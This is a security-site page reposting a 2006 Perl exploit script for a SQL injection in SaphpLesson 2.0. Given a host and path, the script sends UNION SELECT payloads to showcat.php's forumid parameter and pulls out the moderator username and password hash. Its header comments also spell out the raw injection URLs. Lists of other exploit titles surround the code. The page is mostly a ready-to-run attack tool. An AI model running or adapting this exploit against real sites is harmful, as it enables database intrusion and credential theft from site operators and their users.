首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SaphpLesson version 2.0 remote SQL injection exploit
来源:selfar2002[at]hotmail.com 作者:SnIpEr_SA 发布时间:2006-02-27  

#!/usr/bin/perl
#
# For password
# http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModPassword%20from%20modretor
# For username
# http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModName%20from%20modretor
# sent in by SnIpEr_SA (selfar2002[at]hotmail.com)
# ported by str0ke (milw0rm.com)

use LWP::Simple;

$serv = $ARGV[0];
$path = $ARGV[1];

sub usage
{
print "\nSaphpLesson 2.0 SQL-Injection \n";
print "By SnIpEr_SA Ported by str0ke\n";
print "Usage: $0 www.example.com /directory/\n";
print "sever - URL\n";
print "path - path to showcat.php\n";
exit ();
}

sub exploit
{
print qq(
SaphpLesson 2.0 SQL-Injection
By SnIpEr_SA Ported by str0ke\n\n);

$URL = sprintf("http://%s%sshowcat.php?forumid=-1+union+select+ModName+from+modretor",$serv,$path);
$content = get "$URL";
if ($content =~ /(\[)(.*)(\]\<\/title\>)/){&user;}else{print "No Workie\n";}
$URL = sprintf("http://%s%sshowcat.php?forumid=-1+union+select+ModPassword+from+modretor",$serv,$path);
$content = get "$URL";
if ($content =~ /(\[)(\w{32})(\]\<\/title\>)/){&showh;}else{print "No Workie\n";}
}

sub user { print "[*] Username: $2\n";}
sub showh { print "[*] Hash: $2\n\n";}

if (@ARGV != 2){&usage;}else{&exploit;}





 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Guestex Guestbook 1.00 (email)
·Kerio Personal Firewall Remote
·QBik Wingate 6.1.1.1077 (POST)
·Microsoft Internet Explorer Is
·myNewsletter <= 1.1.2 (admi
·Apple Mac OS X /usr/bin/passwd
·Linux Kernel < 2.6.16.18 (N
·LibTIFF Library BitsPerSample
·Dmx Forum <= 2.1a (edit.php
·Microsoft Visual Studio dbp Fi
·Claroline <= 1.7.6 (include
·phpRPC Library XML Exploit
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved